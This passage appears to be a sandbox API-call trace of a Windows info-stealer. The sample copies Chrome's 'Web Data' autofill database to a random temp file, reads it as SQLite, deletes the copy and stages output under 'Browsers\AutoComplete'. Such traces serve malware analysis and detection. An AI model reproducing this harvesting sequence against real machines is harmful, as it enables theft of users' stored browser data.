OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.844] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.844] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.844] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x411000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x411000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.845] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="Browsers\\AutoComplete\\GoogleChrome_Default.txt", cchWideChar=46, lpMultiByteStr=0x1e7de750, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Browsers\\AutoComplete\\GoogleChrome_Default.txtæ\x1fT¾æ\x1f ", lpUsedDefaultChar=0x0) returned 46 [0163.845] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x40d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x40d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.845] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.845] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de738, cchWideChar=2047 | out: lpWideCharStr="Web Data㚓@ṼḬ牂睯敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬琮瑸ῦ빔ῦ ") returned 8 [0163.846] GetTickCount () returned 0x115c237 [0163.846] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.846] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.846] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7df5d9, cbMultiByte=8, lpWideCharStr=0x1e7de5b0, cchWideChar=2047 | out: lpWideCharStr="18203191ṽ먀ῧࠀ") returned 8 [0163.846] SysReAllocStringLen (in: pbstr=0x1e7df730*=0x0, psz="18203191", len=0x8 | out: pbstr=0x1e7df730*="18203191") returned 1 [0163.846] QueryPerformanceCounter (in: lpPerformanceCount=0x1e7df69c | out: lpPerformanceCount=0x1e7df69c*=24207968913) returned 1 [0163.847] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7df59d, cbMultiByte=4, lpWideCharStr=0x1e7de574, cchWideChar=2047 | out: lpWideCharStr="8183ஔḪṽ\x10") returned 4 [0163.847] SysReAllocStringLen (in: pbstr=0x1e7df6cc*=0x0, psz="8183", len=0x4 | out: pbstr=0x1e7df6cc*="8183") returned 1 [0163.847] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7df599, cbMultiByte=4, lpWideCharStr=0x1e7de570, cchWideChar=2047 | out: lpWideCharStr="732683ஔḪṽ\x10") returned 4 [0163.847] SysReAllocStringLen (in: pbstr=0x1e7df6c8*=0x0, psz="7326", len=0x4 | out: pbstr=0x1e7df6c8*="7326") returned 1 [0163.847] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7df595, cbMultiByte=4, lpWideCharStr=0x1e7de56c, cchWideChar=2047 | out: lpWideCharStr="79382683ஔḪṽ\x10") returned 4 [0163.847] SysReAllocStringLen (in: pbstr=0x1e7df6c4*=0x0, psz="7938", len=0x4 | out: pbstr=0x1e7df6c4*="7938") returned 1 [0163.847] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7df591, cbMultiByte=4, lpWideCharStr=0x1e7de568, cchWideChar=2047 | out: lpWideCharStr="1489382683ஔḪṽ\x10") returned 4 [0163.847] SysReAllocStringLen (in: pbstr=0x1e7df6c0*=0x0, psz="1489", len=0x4 | out: pbstr=0x1e7df6c0*="1489") returned 1 [0163.847] SysReAllocStringLen (in: pbstr=0x1e7df73c*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Web Data", len=0x49 | out: pbstr=0x1e7df73c*="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Web Data") returned 1 [0163.847] SysReAllocStringLen (in: pbstr=0x1e7df6d4*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Web Data", len=0x49 | out: pbstr=0x1e7df6d4*="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Web Data") returned 1 [0163.847] SysReAllocStringLen (in: pbstr=0x1e7df73c*="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Web Data", psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Web Data", len=0x49 | out: pbstr=0x1e7df73c*="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Web Data") returned 1 [0163.848] SysReAllocStringLen (in: pbstr=0x1e7df6d0*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data", len=0x48 | out: pbstr=0x1e7df6d0*="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data") returned 1 [0163.848] SysReAllocStringLen (in: pbstr=0x1e7df73c*="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Web Data", psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data", len=0x48 | out: pbstr=0x1e7df73c*="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data") returned 1 [0163.848] SysReAllocStringLen (in: pbstr=0x1e7df6cc*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data", len=0x48 | out: pbstr=0x1e7df6cc*="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data") returned 1 [0163.848] SysReAllocStringLen (in: pbstr=0x1e7df73c*="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data", psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data", len=0x48 | out: pbstr=0x1e7df73c*="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data") returned 1 [0163.848] ExpandEnvironmentStringsW (in: lpSrc="%TEMP%", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp") returned 0x25 [0163.848] SysReAllocStringLen (in: pbstr=0x1e7df738*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031918183732679381489.tmp", len=0x41 | out: pbstr=0x1e7df738*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031918183732679381489.tmp") returned 1 [0163.848] SysReAllocStringLen (in: pbstr=0x1e7df6d4*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031918183732679381489.tmp", len=0x41 | out: pbstr=0x1e7df6d4*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031918183732679381489.tmp") returned 1 [0163.848] SysReAllocStringLen (in: pbstr=0x1e7df738*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031918183732679381489.tmp", psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031918183732679381489.tmp", len=0x41 | out: pbstr=0x1e7df738*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031918183732679381489.tmp") returned 1 [0163.848] SysReAllocStringLen (in: pbstr=0x1e7df6d0*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031918183732679381489.tmp", len=0x41 | out: pbstr=0x1e7df6d0*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031918183732679381489.tmp") returned 1 [0163.848] SysReAllocStringLen (in: pbstr=0x1e7df738*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031918183732679381489.tmp", psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031918183732679381489.tmp", len=0x41 | out: pbstr=0x1e7df738*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031918183732679381489.tmp") returned 1 [0163.849] SysReAllocStringLen (in: pbstr=0x1e7df6cc*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031918183732679381489.tmp", len=0x41 | out: pbstr=0x1e7df6cc*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031918183732679381489.tmp") returned 1 [0163.849] SysReAllocStringLen (in: pbstr=0x1e7df738*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031918183732679381489.tmp", psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031918183732679381489.tmp", len=0x41 | out: pbstr=0x1e7df738*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031918183732679381489.tmp") returned 1 [0163.849] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\default\\web data"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031918183732679381489.tmp" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\182031918183732679381489.tmp"), bFailIfExists=1) returned 1 [0163.853] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031918183732679381489.tmp", cchWideChar=65, lpMultiByteStr=0x1e7de6d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031918183732679381489.tmp\x01[", lpUsedDefaultChar=0x0) returned 65 [0163.853] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf2714, cbMultiByte=65, lpWideCharStr=0x1e7de6b0, cchWideChar=2047 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031918183732679381489.tmp῰둄῎Q") returned 65 [0163.853] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcfebbc, cbMultiByte=65, lpWideCharStr=0x1e7de6d0, cchWideChar=2047 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031918183732679381489.tmp睯") returned 65 [0163.853] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031918183732679381489.tmp" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\182031918183732679381489.tmp")) returned 0x2020 [0163.854] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe18150, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 66 [0163.854] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe18150, cbMultiByte=-1, lpWideCharStr=0x1fe03ca0, cchWideChar=66 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031918183732679381489.tmp") returned 66 [0163.854] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031918183732679381489.tmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x42 [0163.854] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031918183732679381489.tmp", nBufferLength=0x45, lpBuffer=0x1fe03d30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031918183732679381489.tmp", lpFilePart=0x0) returned 0x41 [0163.854] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031918183732679381489.tmp", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 66 [0163.854] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031918183732679381489.tmp", cchWideChar=-1, lpMultiByteStr=0x1fe181a0, cbMultiByte=66, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031918183732679381489.tmp", lpUsedDefaultChar=0x0) returned 66 [0163.855] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b5e8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 66 [0163.855] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b5e8, cbMultiByte=-1, lpWideCharStr=0x1fe03ca0, cchWideChar=66 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031918183732679381489.tmp") returned 66 [0163.855] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031918183732679381489.tmp" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\182031918183732679381489.tmp"), fInfoLevelId=0x0, lpFileInformation=0x1e7df4e8 | out: lpFileInformation=0x1e7df4e8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa5f483c0, ftCreationTime.dwHighDateTime=0x1d6b6fb, ftLastAccessTime.dwLowDateTime=0xa5f483c0, ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0xb85fea0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x10000)) returned 1 [0163.855] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031918183732679381489.tmp" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\182031918183732679381489.tmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0163.855] ReadFile (in: hFile=0xf4, lpBuffer=0x1e7df618, nNumberOfBytesToRead=0x64, lpNumberOfBytesRead=0x1e7df5dc, lpOverlapped=0x1e7df5a0 | out: lpBuffer=0x1e7df618*, lpNumberOfBytesRead=0x1e7df5dc*=0x64, lpOverlapped=0x1e7df5a0) returned 1 [0163.857] strncmp (_Str1="simple", _Str2="porter", _MaxCount=0x7) returned 1 [0163.861] LockFileEx (in: hFile=0xf4, dwFlags=0x3, dwReserved=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x1e7de9a0 | out: lpOverlapped=0x1e7de9a0) returned 1 [0163.861] LockFileEx (in: hFile=0xf4, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1fe, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x1e7de994 | out: lpOverlapped=0x1e7de994) returned 1 [0163.861] UnlockFileEx (in: hFile=0xf4, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x1e7de9a4 | out: lpOverlapped=0x1e7de9a4) returned 1 [0163.861] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b62b, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0163.861] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b62b, cbMultiByte=-1, lpWideCharStr=0x1fe2b020, cchWideChar=74 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031918183732679381489.tmp-journal") returned 74 [0163.861] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031918183732679381489.tmp-journal" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\182031918183732679381489.tmp-journal"), fInfoLevelId=0x0, lpFileInformation=0x1e7de9a0 | out: lpFileInformation=0x1e7de9a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0163.862] GetLastError () returned 0x2 [0163.862] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b675, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 70 [0163.862] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b675, cbMultiByte=-1, lpWideCharStr=0x1fe03ca0, cchWideChar=70 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031918183732679381489.tmp-wal") returned 70 [0163.862] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031918183732679381489.tmp-wal" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\182031918183732679381489.tmp-wal"), fInfoLevelId=0x0, lpFileInformation=0x1e7de9b8 | out: lpFileInformation=0x1e7de9b8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0163.862] GetLastError () returned 0x2 [0163.862] GetFileSize (in: hFile=0xf4, lpFileSizeHigh=0x1e7de9e4 | out: lpFileSizeHigh=0x1e7de9e4*=0x0) returned 0x10000 [0163.862] ReadFile (in: hFile=0xf4, lpBuffer=0x1fe7d3e0, nNumberOfBytesToRead=0x800, lpNumberOfBytesRead=0x1e7de9c0, lpOverlapped=0x1e7de984 | out: lpBuffer=0x1fe7d3e0*, lpNumberOfBytesRead=0x1e7de9c0*=0x800, lpOverlapped=0x1e7de984) returned 1 [0163.862] ReadFile (in: hFile=0xf4, lpBuffer=0x1fe7cb40, nNumberOfBytesToRead=0x800, lpNumberOfBytesRead=0x1e7de6d8, lpOverlapped=0x1e7de69c | out: lpBuffer=0x1fe7cb40*, lpNumberOfBytesRead=0x1e7de6d8*=0x800, lpOverlapped=0x1e7de69c) returned 1 [0163.871] ReadFile (in: hFile=0xf4, lpBuffer=0x1fe7c2a0, nNumberOfBytesToRead=0x800, lpNumberOfBytesRead=0x1e7de6a8, lpOverlapped=0x1e7de66c | out: lpBuffer=0x1fe7c2a0*, lpNumberOfBytesRead=0x1e7de6a8*=0x800, lpOverlapped=0x1e7de66c) returned 1 [0163.871] ReadFile (in: hFile=0xf4, lpBuffer=0x1fe7ba00, nNumberOfBytesToRead=0x800, lpNumberOfBytesRead=0x1e7de6a8, lpOverlapped=0x1e7de66c | out: lpBuffer=0x1fe7ba00*, lpNumberOfBytesRead=0x1e7de6a8*=0x800, lpOverlapped=0x1e7de66c) returned 1 [0163.871] UnlockFileEx (in: hFile=0xf4, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1fe, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x1e7de6a0 | out: lpOverlapped=0x1e7de6a0) returned 1 [0163.874] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x410000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x410000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.875] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x411000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x411000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.875] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.875] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.876] LockFileEx (in: hFile=0xf4, dwFlags=0x3, dwReserved=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x1e7df378 | out: lpOverlapped=0x1e7df378) returned 1 [0163.876] LockFileEx (in: hFile=0xf4, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1fe, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x1e7df36c | out: lpOverlapped=0x1e7df36c) returned 1 [0163.876] UnlockFileEx (in: hFile=0xf4, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x1e7df37c | out: lpOverlapped=0x1e7df37c) returned 1 [0163.876] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b62b, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0163.876] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b62b, cbMultiByte=-1, lpWideCharStr=0x1fe30160, cchWideChar=74 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031918183732679381489.tmp-journal") returned 74 [0163.876] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031918183732679381489.tmp-journal" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\182031918183732679381489.tmp-journal"), fInfoLevelId=0x0, lpFileInformation=0x1e7df378 | out: lpFileInformation=0x1e7df378*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0163.876] GetLastError () returned 0x2 [0163.876] ReadFile (in: hFile=0xf4, lpBuffer=0x1e7df3fc, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x1e7df3e4, lpOverlapped=0x1e7df3a8 | out: lpBuffer=0x1e7df3fc*, lpNumberOfBytesRead=0x1e7df3e4*=0x10, lpOverlapped=0x1e7df3a8) returned 1 [0163.876] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b675, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 70 [0163.876] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b675, cbMultiByte=-1, lpWideCharStr=0x1fe03e50, cchWideChar=70 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031918183732679381489.tmp-wal") returned 70 [0163.876] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031918183732679381489.tmp-wal" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\182031918183732679381489.tmp-wal"), fInfoLevelId=0x0, lpFileInformation=0x1e7df390 | out: lpFileInformation=0x1e7df390*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0163.876] GetLastError () returned 0x2 [0163.876] GetFileSize (in: hFile=0xf4, lpFileSizeHigh=0x1e7df3bc | out: lpFileSizeHigh=0x1e7df3bc*=0x0) returned 0x10000 [0163.877] ReadFile (in: hFile=0xf4, lpBuffer=0x1fe7b160, nNumberOfBytesToRead=0x800, lpNumberOfBytesRead=0x1e7df3b0, lpOverlapped=0x1e7df374 | out: lpBuffer=0x1fe7b160*, lpNumberOfBytesRead=0x1e7df3b0*=0x800, lpOverlapped=0x1e7df374) returned 1 [0163.877] UnlockFileEx (in: hFile=0xf4, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1fe, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x1e7df360 | out: lpOverlapped=0x1e7df360) returned 1 [0163.877] CloseHandle (hObject=0xf4) returned 1 [0163.896] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.897] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.897] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.898] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031918183732679381489.tmp" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\182031918183732679381489.tmp")) returned 1 [0163.900] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.901] 